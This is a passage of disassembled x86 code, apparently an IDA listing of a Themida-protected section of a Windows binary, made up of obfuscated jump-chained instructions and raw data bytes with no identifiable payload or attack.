		jmp	loc_550B08
; ---------------------------------------------------------------------------
		db 81h
		dd 6B6391C5h, 56D52919h, 7F3AF3BEh, 43ABE958h, 0F2010000h
		dd 2414875Eh, 0C39D615Ch, 0FF9600E9h, 5BF828FFh, 0E9526653h
		dd 0FFFFDA2Ah, 0E9240C89h, 17DBh, 2BB22DADh, 0D829318Eh
		dd 0FFDF5BE9h, 48F5BFFh, 24248B24h, 0ED268h, 242C8900h
		dd 0C581E589h, 4, 0FFFF3AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B52D:				; CODE XREF: Themida_:0054C1DFj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_54B534:				; CODE XREF: Themida_:loc_5487FEj
		push	3462h
		jmp	loc_54E9E9
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 59216225h, 4E6C15Bh,	4E0EC681h, 0E6C13FC2h, 81DEF706h
		dd 8CA382C6h, 5EF101C2h, 31240C33h, 0C33240Ch, 24248B24h
		dd 0F66E9F6h, 8D68CCB6h, 8900007Ch, 0E954240Ch,	2059h
		dd 4C581h, 0C5830000h, 242C8704h, 0E924248Bh, 0FFFFA2B9h
		dd 9981E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B596:				; CODE XREF: Themida_:00549C87j
		push	ebx
		mov	ebx, 0
		jmp	loc_54FAC1
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 0FFC789E9h, 0C3366FFh, 0C316624h, 14C3E924h,	895C0000h
		dd 0E589242Ch, 44B0E950h, 2AE90000h, 81FFFF95h,	4C4h, 24048F00h
		dd 3024248Bh, 0E99C2404h, 0FFFFBC7Ah
; ---------------------------------------------------------------------------


loc_54B5DC:				; CODE XREF: Themida_:00547C0Bj
		xchg	ebp, [esp]
		jmp	loc_54781D
; ---------------------------------------------------------------------------
		dd 5C242C33h, 0D7E9E9F7h, 6800001Eh, 5C6Eh, 51241489h
		dd 0EAB64BB5h, 0C480E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B602:				; CODE XREF: Themida_:0054D28Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_549C59
; ---------------------------------------------------------------------------
		dd 240C8B66h, 53E78957h, 0FFBCFCE9h, 90EF81FFh,	581FEA30h
		dd 0FFAC50E9h, 4183BAFFh, 0C2813454h, 0E5B10605h, 0E95AD329h
		dd 0FFFFDE1Bh, 4EC835Bh, 89241489h, 4C281E2h, 0E9000000h
		dd 0FFFFF154h, 63E9F829h, 59FFFFDAh, 2B951h, 0C2810000h
		dd 3F0C69C6h, 2BE9CA01h, 8F000011h, 947FE902h, 4BEFFFFh
		dd 1000000h, 8D685EF1h,	89000036h, 23E9240Ch
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B687:				; CODE XREF: Themida_:00549FCDj
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		and	ebx, ecx
		pop	ecx
		jmp	loc_54F3B9
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 13C26754h, 0C581D501h, 13C26754h, 242C335Ah,	33242C31h
		dd 40E9242Ch, 66FFFFEEh, 8124048Bh, 4ECh, 24148900h, 38E95A54h
		dd 51FFFFEFh, 2D8B84B9h, 0F751E996h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B6D2:				; CODE XREF: Themida_:0054574Dj
		mov	edi, esp
		jmp	loc_54BF49
; ---------------------------------------------------------------------------


loc_54B6D9:				; CODE XREF: Themida_:0054C7D2j
		sub	dh, 5Eh
		add	al, dh
		pop	edx
		jmp	loc_545EBE
; ---------------------------------------------------------------------------


loc_54B6E4:				; CODE XREF: Themida_:00547F0Bj
		pop	esp
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54EDA1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFD9EAE9h, 4B850FFh, 0E9000000h, 0FFFFAACEh
; ---------------------------------------------------------------------------


loc_54B714:				; CODE XREF: Themida_:0054951Bj
		mov	[esp], ecx
		mov	ch, 0A6h
		push	edx
		mov	dl, 0F7h
		jmp	loc_545938
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aHsp		db '[h‘P',0
		align 2
		dw 0C8E9h
		dd 0E900001Eh, 0FFFF93BDh, 8005EFC0h, 0CF80FFC7h, 0E9CFFEF1h
		dd 6DCh, 8024B151h, 0E1C0AFC9h,	80C1FE08h, 0F180D8E1h
		dd 59CE30EDh, 88F38853h, 805A5BDDh, 77E94BC3h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B767:				; CODE XREF: Themida_:0054BE99j
		sub	edi, 4DC259C3h
		add	edi, eax
		add	edi, 4DC259C3h
		mov	eax, [esp]
		add	esp, 4
		sub	edi, ecx
		push	ebx
		mov	ebx, 55F30C36h
		push	edi
		mov	edi, 20773FFCh
		jmp	loc_550FF2
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C3805C24h, 14E9529Ah, 5000000Ah, 6B5C0BB8h,	2B5A054Dh
		dd 0DE94838h, 81000034h, 0C62246EDh, 5DEB31F7h,	2A27E9h
		dd 243C8B00h, 0FF980FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B7C1:				; CODE XREF: Themida_:00548D9Cj
		pop	edx
		jmp	loc_5456AB
; ---------------------------------------------------------------------------
		db 81h
		dd 0F81BD2CFh, 4252E953h, 8F590000h, 875C2404h,	248B2404h
		dd 9CC13824h, 0FF930CE9h, 24248BFFh, 0E9242C89h, 0E1Eh
		dd 240C8B66h, 55F168h, 243C8900h, 3F40E9h, 241C8900h, 0BE2A93BBh
		dd 0BD554B63h, 2B5B6C2Ch, 15E9E9h, 2DC82900h, 15802B3Bh
		dd 3A02E955h, 93680000h, 54000047h, 8324048Fh, 5F042404h
		dd 4C781h, 0BA520000h, 3D006A56h, 1DF2CA81h, 0D3E96D6Eh
		dd 66FFFFCDh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_546F45
; ---------------------------------------------------------------------------


loc_54B853:				; CODE XREF: Themida_:0054688Dj
		add	ebp, 0FFFFFFFFh
		jmp	loc_547013
; ---------------------------------------------------------------------------
		db 59h
		dd 160EE9h, 702EBF00h, 0EF3112ABh, 63E9505Dh, 68000016h
		dd 18FDh, 0E9241C89h, 2328h, 148BF728h,	4C48124h, 28000000h
		dd 5A665BF8h, 8904EC83h, 90B22414h, 0D2F6CAFEh,	801FB753h
		dd 0FA30E8F7h, 33DDE9h,	81D9F700h, 615A41E1h, 0E98156h
		dd 0E9502100h, 4890h, 3EB7535Ah, 0C7E9F828h, 89FFFFEEh
		dd 405E0h, 0C0830000h, 0FEBCE904h, 0E956FFFFh, 4498h, 8245401h
		dd 8324148Bh, 34FF04C4h, 0C4835B24h, 0FE41E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B8EE:				; CODE XREF: Themida_:0054DE7Bj
		xor	ebx, 49AC01Ch
		mov	edi, ebx
		pop	ebx
		jmp	loc_54D375
; ---------------------------------------------------------------------------


loc_54B8FC:				; CODE XREF: Themida_:0054F3F4j
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		jmp	loc_54A6D8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8E93877h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B913:				; CODE XREF: Themida_:0054D7CFj
		mov	edx, esp
		jmp	loc_54544C
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C5h, 4B95100h, 0E9000000h, 4AE1h, 8124148Bh, 4ECh
		dd 24048900h, 0EC83E089h, 243C8904h, 4B951h, 9BE90000h
		dd 81FFFFCFh, 4C1h, 0E3BE5600h,	0C14A000Dh, 814E07EEh
		dd 6BFFEAC6h, 5EF129FFh, 0E9240C87h, 0FFFFFC4Ah
; ---------------------------------------------------------------------------


loc_54B96C:				; CODE XREF: Themida_:005482AAj
		mov	edx, 4
		jmp	loc_54F364
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243C89h, 13E2h, 0E903EBC1h, 1940h, 24048B66h
		dd 271D68h, 242C8900h, 85E95D54h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B99F:				; CODE XREF: Themida_:0054C26Ej
		add	ecx, ebp
		jmp	loc_551288
; ---------------------------------------------------------------------------


loc_54B9A6:				; CODE XREF: Themida_:0054B497j
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5471F8
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E904EC83h, 3658h, 72E3E981h, 0CF893B90h,	5FF90159h
		dd 5C240C87h, 4120E9h, 24148900h, 595403BAh, 1CA8169h
		dd 814FD522h, 2C5C57C2h, 5AE62D1Dh, 9057749h, 11F4F5Ch
		dd 9855E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BA02:				; CODE XREF: Themida_:0054C720j
		push	ebp
		jmp	loc_545F20
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FF9EC7E9h, 2434FFFFh, 3197E9h, 0C4835B00h
		dd 2C78304h, 2D7B68h, 0EDA5E900h, 0F181FFFFh, 4A355F18h
		dd 0FFFF93E9h, 0C5835CFFh, 242C3304h, 33242C31h, 0F2E9242Ch
		dd 48FFFFC0h, 0F35E8D1h, 0E9000008h, 0FFFFCC6Ah, 66240430h
		dd 5AFD6852h, 81E90000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BA63:				; CODE XREF: Themida_:0054AD2Cj
		dec	ebp
		inc	ebp
		jmp	loc_54C790
; ---------------------------------------------------------------------------


loc_54BA6A:				; CODE XREF: Themida_:0054BD7Ej
		or	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_54E834
; ---------------------------------------------------------------------------
		db 0B8h, 0Bh, 31h
		dd 0C729550Fh, 2CD6E9h,	0C85BD00h, 814D0565h, 8879DDC5h
		dd 5EDC170h, 4C8DED81h,	8950467Bh, 405E0h, 0E8830000h
		dd 24048704h, 0D1EBE95Ch, 0FD01FFFFh, 995C581h,	3C8B5607h
		dd 4C48324h, 0FFE54EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BABD:				; CODE XREF: Themida_:00550BD0j
		inc	ecx
		add	ecx, 1
		shr	ecx, 1
		sub	ecx, 77FF7B7Dh
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	640Bh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55036F
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 13240789h, 516AE9h, 7FE95800h, 81FFFFD2h, 1E7BA9C7h
		dd 3EEF8133h, 0E914C11Bh, 0FFFFEAA8h, 0ECE9DD01h, 3100002Ah
		dd 14332414h, 3A6CE924h, 14680000h, 8900003Ch, 4812424h
		dd 424h, 0A33BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BB2A:				; CODE XREF: Themida_:00550F32j
		mov	edi, esp
		add	edi, 4
		push	ecx
		jmp	loc_54902C
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFBD20h, 5FF9895Bh, 0C8BC821h, 0E9545524h
		dd 0FFFFCA56h, 0F9E9EE01h, 8100003Bh, 4ECh, 24048900h
		dd 3AE95854h, 5EFFFFA2h, 0C581DD01h, 22064A76h,	242C875Bh
		dd 0E8A7E95Ch, 545CFFFFh, 8324048Fh, 5B042404h,	4BF57h
		dd 0FB010000h, 4EC815Fh, 0E9000000h, 0FFFFD24Bh, 8904EC83h
		dd 0A5E9243Ch, 0B9000031h, 65B70532h, 0AC19E981h, 30E95C01h
		dd 8B000014h, 36E92424h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BBBB:				; CODE XREF: Themida_:00546F37j
		xor	eax, 57224FCh
		sub	eax, 26F40FD9h
		add	eax, 80B71308h
		mov	edx, eax
		jmp	loc_549BE5
; ---------------------------------------------------------------------------


loc_54BBD1:				; CODE XREF: Themida_:0054ED14j
		xchg	ebp, ebx
		push	edx
		mov	edx, 68712D83h
		or	edx, 795240BCh
		sub	edx, 4EE224D6h
		neg	edx
		dec	edx
		not	edx
		sub	edx, 0FF3A28E3h
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		add	edx, edi
		add	edx, 4D5764ACh
		jmp	loc_54D629
; ---------------------------------------------------------------------------


loc_54BC0C:				; CODE XREF: Themida_:0054DF79j
		sub	edx, eax
		pop	eax
		jmp	loc_547F87
; ---------------------------------------------------------------------------


loc_54BC14:				; CODE XREF: Themida_:0054E449j
		add	ecx, 31F65B9Bh
		add	ecx, 57466E7Ah
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54F387
; ---------------------------------------------------------------------------
		dw 0F68h
		dd 89000063h, 18BD242Ch, 215CE51Fh, 0CBB6E9EAh,	0EB81FFFFh
		dd 61697DB9h, 4B5FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54BC4D:				; CODE XREF: Themida_:00545972j
		sub	edx, 3A131863h
		jmp	loc_547C1A
; ---------------------------------------------------------------------------


loc_54BC58:				; CODE XREF: Themida_:0054A9E4j
		pop	ecx
		sub	al, 49h
		push	edx
		push	ebx
		mov	bl, 0D3h
		dec	bl
		jmp	loc_54D0E2
; ---------------------------------------------------------------------------


loc_54BC66:				; CODE XREF: Themida_:00550352j
		push	40C8h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54A4C4
; ---------------------------------------------------------------------------


loc_54BC75:				; CODE XREF: Themida_:0054EE1Fj
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 10h
		jmp	loc_5481B8
; ---------------------------------------------------------------------------
		db 0BBh, 18h, 30h
		dd 7FE945B5h, 0BA00000Eh, 248B4B7Dh, 36A0E281h,	0C2814989h
		dd 5FB57F46h, 0E950D2F7h, 1ADCh, 5C243C87h, 81595451h
		dd 4C1h, 0B39BE900h, 430FFFFh, 24043224h, 0E9240430h, 0FFFF8E2Dh
		dd 11A9BE56h, 79E9360Eh, 8BFFFF9Ch, 0E953240Ch,	5603h
		dd 240C8B66h, 0FFDEA7E9h, 24248BFFh, 52EFE9h, 209DBB00h
		dd 0F0E954F0h, 0FEFFFFA9h, 0A5C180C1h, 302AE980h, 0A15DE9CBh
		dd 0FF55FFFFh, 8B042474h, 0C481242Ch, 4, 23B6E9h, 0D7BB5300h
		dd 81147849h, 4B1E71F3h, 5BDA8924h, 5F9AE281h, 0FAE9382Ch
		dd 81FFFFA2h, 4C4h, 241C8700h, 0D3C9805Ch, 301EC180h, 535259C8h
		dd 0E3C0B2B3h, 0E9E3D005h, 0FFFFF4DCh, 21B3BB53h, 51E96775h
		dd 54FFFFB3h, 53E9535Fh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD63:				; CODE XREF: Themida_:00550700j
		add	ebp, 98C5C61h
		inc	ebp
		xchg	ecx, ebp
		inc	ecx
		xchg	ecx, ebp
		push	edi
		push	5BD82B10h
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, edi
		pop	edi
		jmp	loc_54BA6A
; ---------------------------------------------------------------------------


loc_54BD83:				; CODE XREF: Themida_:0054A255j
		push	ecx
		push	ebp
		push	esi
		mov	esi, 509B56D1h
		push	esi
		pop	ebp
		pop	esi
		mov	ecx, 0AF64A94Bh
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_546F0D
; ---------------------------------------------------------------------------
		db 80h,	0CDh, 0CFh
		dd 28C2F580h, 533BE9DDh, 51520000h, 4B9h, 59CA8900h, 0B5E9D701h
		dd 0E900000Ah, 0FFFF8D2Dh, 0C2E95259h, 8BFFFF98h, 77E92424h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BDD3:				; CODE XREF: Themida_:00549E29j
		pop	ebx
		push	43EDh
		mov	[esp], ebp
		mov	ebp, 4BD0B46h
		push	edi
		mov	edi, 2C58355Bh
		sub	edi, 0AFB7A66h
		inc	edi
		jmp	loc_54DD0D
; ---------------------------------------------------------------------------
		db 4Eh
		dd 8105EEC1h, 7C4245EEh, 0E9F78993h, 0FFFFAE1Bh
; ---------------------------------------------------------------------------


loc_54BE04:				; CODE XREF: Themida_:0054AE3Dj
		add	ebp, 65146EA1h
		sub	ebp, esi
		jmp	loc_54EB4A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Dh, 0E9000000h, 2A49h,	783468h, 0C409E900h, 8957FFFFh
		dd 4C781E7h, 81000000h,	4C7h, 0FE66E900h, 0D689FFFFh, 3031E9h
		dd 31EF8100h, 581E6A7Ah, 4C781h, 3C870000h, 0EC835C24h
		dd 24048904h, 0A13BCC68h, 0E0C1582Bh, 14F75003h, 56405824h
		dd 1926F368h, 91E95E5Ah
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BE77:				; CODE XREF: Themida_:00546E78j
		not	edi
		xchg	edi, ebp
		sub	ebp, 1
		sub	ebp, 1
		jmp	loc_545080
; ---------------------------------------------------------------------------


loc_54BE89:				; CODE XREF: Themida_:005509C7j
		mov	edi, esi
		pop	esi
		inc	edi
		neg	edi
		jmp	loc_545B40
; ---------------------------------------------------------------------------


loc_54BE94:				; CODE XREF: Themida_:0054FB52j
		mov	eax, 535E056Eh
		jmp	loc_54B767
; ---------------------------------------------------------------------------
		dw 0EA89h
		dd 5D5AD089h, 34FFC121h, 2434FF24h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5455F6
; ---------------------------------------------------------------------------


loc_54BEC1:				; CODE XREF: Themida_:0054AAF2j
		xor	ebx, 0F5DD6BAFh
		add	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_545BDC
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 8B241C33h, 8B662424h, 0EC832404h, 240C8904h,	0FFBB0CE9h
		dd 0E9F801FFh, 1B82h, 8904EC83h, 0BDE9240Ch
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BEFB:				; CODE XREF: Themida_:00549C5Fj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		jmp	loc_54FB4C
; ---------------------------------------------------------------------------


loc_54BF16:				; CODE XREF: Themida_:005501B4j
		add	esi, eax
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54A9CA
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 4FD8C181h, 0C281B877h, 9DB4992h, 0EA81CA29h,	9DB4992h
		dd 1AE95E59h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54BF43:				; CODE XREF: Themida_:0054DFFCj
		dec	edi
		jmp	loc_54C2E8
; ---------------------------------------------------------------------------


loc_54BF49:				; CODE XREF: Themida_:0054B6D4j
		add	edi, 4
		add	edi, 4
		jmp	loc_550E14
; ---------------------------------------------------------------------------
		dw 0EAD1h
		dd 2912F281h, 0D7E92732h, 8B00003Ch, 89502404h,	405E0h
		dd 4050000h, 87000000h,	685C2404h, 25CDh, 6AEE9h, 0F6CE8800h
		dd 66F188D6h, 4E1C05Ah,	0CB050h, 0C83058C1h, 592434FFh
		dd 0FFA858E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BFA1:				; CODE XREF: Themida_:005500E6j
		add	edi, 4
		jmp	loc_549370
; ---------------------------------------------------------------------------
		align 2
		dw 5AF3h
		dd 0E9C0B60Fh, 0FFFFB327h, 4C481h, 0D9E90000h, 88FFFFFBh
		dd 2434FFE5h, 4C48358h,	0D1E9F9B7h, 56000032h, 1A8D6855h
		dd 815D2CA5h, 0A51A89EDh, 5DEE892Ch, 295EF589h,	4335DE8h
		dd 24043124h, 5C240433h, 89240C89h, 104EE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BFFA:				; CODE XREF: Themida_:0054CA74j
		push	esp
		jmp	loc_549FEE
; ---------------------------------------------------------------------------


loc_54C000:				; CODE XREF: Themida_:0054F477j
		sub	esi, 507D322Ch
		add	edx, esi
		pop	esi
		pop	ebp
		add	edx, 4
		jmp	loc_54D92C
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 0A22BE924h, 0FD89FFFFh, 52243C8Bh, 0C281E289h, 4, 4C281h
		dd 14870000h, 0EE815C24h, 374F284Eh, 0FFFB13E9h, 1C77FFFFh
		dd 0E924048Bh, 2C1Ah, 8DF5815Dh, 8939004Dh, 0D6095DEAh
		dd 0F9BB535Ah, 0E9DFEBFBh, 0FFFFA63Ah, 2842BF57h, 0F831EBD2h
		dd 0FF9440E9h, 2434FFFFh, 0E924048Bh, 250Ah, 6207C281h
		dd 0DA010676h, 6207EA81h, 535B0676h, 0BBh, 0E9C30100h
		dd 0FFFFC5B7h, 8904EC83h, 0E589242Ch, 513968h, 0CEDFE900h
		dd 34FFFFFFh, 0C4815B24h, 4, 28BAEE80h,	0EC815AF0h, 2
		dd 24048966h, 88E2B652h, 30EAE9F0h, 48F0000h, 0B788E924h
		dd 8B66FFFFh, 89532404h, 15E5E9E3h, 0F660000h, 686600B6h
		dd 8966673Dh, 0D3E92404h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C0EF:				; CODE XREF: Themida_:0054761Ej
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_544DE5
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 0FFA382E9h, 1EFBB8FFh, 0ED056A5Bh, 2D3A0446h, 15A8690Eh
		dd 2958C701h, 1792E9FEh, 93680000h, 5823994Dh, 5949BB53h
		dd 0D821346Eh, 384E355Bh, 0EC835BDBh, 24148904h, 0FFC109E9h
		dd 0B2BB53FFh, 831ACC59h, 0EE6801EBh, 8900005Ah, 5B50241Ch
		dd 8324048Bh, 32E904C4h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C157:				; CODE XREF: Themida_:0054DC5Aj
		inc	edx
		jmp	loc_545C04
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0A7BE565Ch, 0E9496B1Ch, 0FFFFBD18h, 53E18951h, 0D93AA1BBh
		dd 17E94363h, 50FFFFE1h, 7B2C1B0h, 2858C200h, 0B23AE9D0h
		dd 0C483FFFFh, 49E95604h, 0DFFFFEDh, 52AF1FE2h,	0AF1FEE2Dh
		dd 0E35BE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C1A2:				; CODE XREF: Themida_:0054AFDCj
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_54F5FD
; ---------------------------------------------------------------------------
		db 0B6h
		dd 7EEC0A5h, 289EF680h,	0B7C3E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C1BE:				; CODE XREF: Themida_:0054FDBCj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	79B64E8h
		jmp	loc_54DCEC
; ---------------------------------------------------------------------------


loc_54C1D5:				; CODE XREF: Themida_:0054D632j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54B52D
; ---------------------------------------------------------------------------
		dd 51E932B1h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C1EB:				; CODE XREF: Themida_:0054D236j
		add	esp, 4
		push	eax
		push	2605h
		mov	[esp], edi
		jmp	loc_545998
; ---------------------------------------------------------------------------


loc_54C1FC:				; CODE XREF: Themida_:00545522j
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_549255
; ---------------------------------------------------------------------------


loc_54C209:				; CODE XREF: Themida_:0054665Bj
		push	ebx
		mov	bh, ch
		mov	dh, bh
		pop	ebx
		pop	ecx
		add	bl, dh
		pop	edx
		sub	bl, 42h
		add	bl, al
		push	cx
		push	edx
		mov	dl, 0A6h
		or	dl, 0A6h
		shr	dl, 1
		jmp	loc_54E39F
; ---------------------------------------------------------------------------


loc_54C227:				; CODE XREF: Themida_:0054DD0Fj
		push	0
		sub	[esp], edi
		pop	edi
		add	edi, 1E959943h
		and	ebp, edi
		jmp	loc_54E9B8
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF88A9h, 3304C083h, 4312404h,	24043324h
		dd 241C875Ch, 0E9F1F65Ch, 0FFFFC640h
; ---------------------------------------------------------------------------


loc_54C260:				; CODE XREF: Themida_:0054C791j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 9F99E56Bh
		add	ebp, ecx
		pop	ecx
		jmp	loc_54B99F
; ---------------------------------------------------------------------------
aXsq		db 'Xéï-',0
		dd 0EC83AD00h, 240C8904h, 0B6E71B9h, 0FDC18121h, 0E933FA7Bh
		dd 0FFFFA34Dh, 83240C8Bh, 0AFE904C4h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C29B:				; CODE XREF: Themida_:00544D3Cj
		add	ebp, 4
		push	ebp
		jmp	loc_55076D
; ---------------------------------------------------------------------------


loc_54C2A4:				; CODE XREF: Themida_:00549230j
		pop	esi
		add	ebp, esi
		pop	esi
		add	ebp, 2
		push	ebp
		jmp	loc_545FF3
; ---------------------------------------------------------------------------
		db 0F7h, 1Ch, 24h
		dd 8837E99Ch, 0E089FFFFh, 405h,	40500h,	4870000h, 22E95C24h
		dd 81FFFF88h, 1118C3EBh, 79BE5616h, 1782034h, 515F5EF3h
		dd 0E92DB450h, 17D9h
; ---------------------------------------------------------------------------


loc_54C2E8:				; CODE XREF: Themida_:0054BF44j
		xchg	edi, ebx
		push	eax
		mov	eax, 3DBD5F39h
		sub	eax, 70F66651h
		sub	ebx, eax
		pop	eax
		mov	eax, ebx
		pop	ebx
		jmp	loc_54E8C3
; ---------------------------------------------------------------------------


loc_54C300:				; CODE XREF: Themida_:00548F61j
		sub	ebp, 459E0637h
		xor	ebp, 0FC2DFD08h
		add	eax, ebp
		jmp	loc_54CFA6
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF87D9h
; ---------------------------------------------------------------------------


loc_54C318:				; CODE XREF: Themida_:0054ADE4j
		pop	edx
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_54ED19
; ---------------------------------------------------------------------------
		dw 5B58h
		dd 8B387788h, 0BCE92414h, 31FFFFD2h, 0F6DBE9C8h, 0E959FFFFh
		dd 37B2h
; ---------------------------------------------------------------------------


loc_54C33C:				; CODE XREF: Themida_:0054A45Fj
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_54AAF7
; ---------------------------------------------------------------------------
		dd 4BD555Ah, 0E9000000h, 4ECCh,	4C481h,	0C5810000h, 0EB5058F1h
		dd 89E88950h, 0E95D58C2h, 0FFFFBF52h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 17520B6Ah
		mov	edx, esi
		pop	esi
		inc	edx
		jmp	loc_54D7AA
; ---------------------------------------------------------------------------
		dd 3F44C281h, 0C28357CBh, 88F28101h, 31D8EE30h,	0FE015AD7h
		dd 2434335Fh, 33243431h, 248B2434h, 24042024h, 8717E99Ch
		dd 0D629FFFFh, 5224148Bh, 0C281E289h, 4, 4C281h, 14870000h
		dd 0C6015C24h, 4EC81h, 3C890000h, 25B5BF24h, 0E0E93B6Ah
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C407:				; CODE XREF: Themida_:0054DDE0j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	790Eh
		mov	[esp], ecx
		jmp	loc_54CD29
; ---------------------------------------------------------------------------


loc_54C42E:				; CODE XREF: Themida_:0054DBF1j
		xor	eax, 172F012h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		and	eax, ebp
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		sub	dword ptr [esp], 32145BC0h
		pop	eax
		push	ebp
		mov	ebp, 66DE5EF8h
		xor	ebp, 50752519h
		push	edx
		push	6FAEh
		mov	[esp], ecx
		push	394C770Ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E435
; ---------------------------------------------------------------------------
		db 66h,	81h, 0EFh
		dd 0C16601A3h, 0E95007EFh, 0FFFFD3D4h, 0FFF8295Ch, 0E95F2434h
		dd 0FFFFA4A5h, 81240C8Bh, 4C4h,	0C1E95700h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C4A3:				; CODE XREF: Themida_:0054D826j
		jmp	loc_544AF1
; ---------------------------------------------------------------------------


loc_54C4A8:				; CODE XREF: Themida_:0054E469j
		add	esp, 4
		add	esi, 4
		push	esi
